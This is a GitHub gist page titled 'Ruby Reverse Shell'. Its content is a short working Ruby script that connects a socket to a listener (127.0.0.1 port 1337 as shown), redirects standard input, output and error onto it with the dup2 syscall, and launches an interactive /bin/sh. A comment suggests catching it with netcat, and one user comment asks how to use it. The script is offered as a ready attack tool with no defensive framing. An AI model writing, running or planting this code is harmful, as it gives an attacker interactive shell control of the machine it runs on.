Last active
April 13, 2024 10:11
-
-
Save gr33n7007h/c8cba38c5a4a59905f62233b36882325 to your computer and use it in GitHub Desktop.
Ruby Reverse Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# syscall 33 = dup2 on 64-bit Linux | |
# syscall 63 = dup2 on 32-bit Linux | |
# test with nc -lvp 1337 | |
require 'socket' | |
s = Socket.new 2,1 | |
s.connect Socket.sockaddr_in 1337, '127.0.0.1' | |
[0,1,2].each { |fd| syscall 33, s.fileno, fd } | |
exec '/bin/sh -i' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
how to use it bro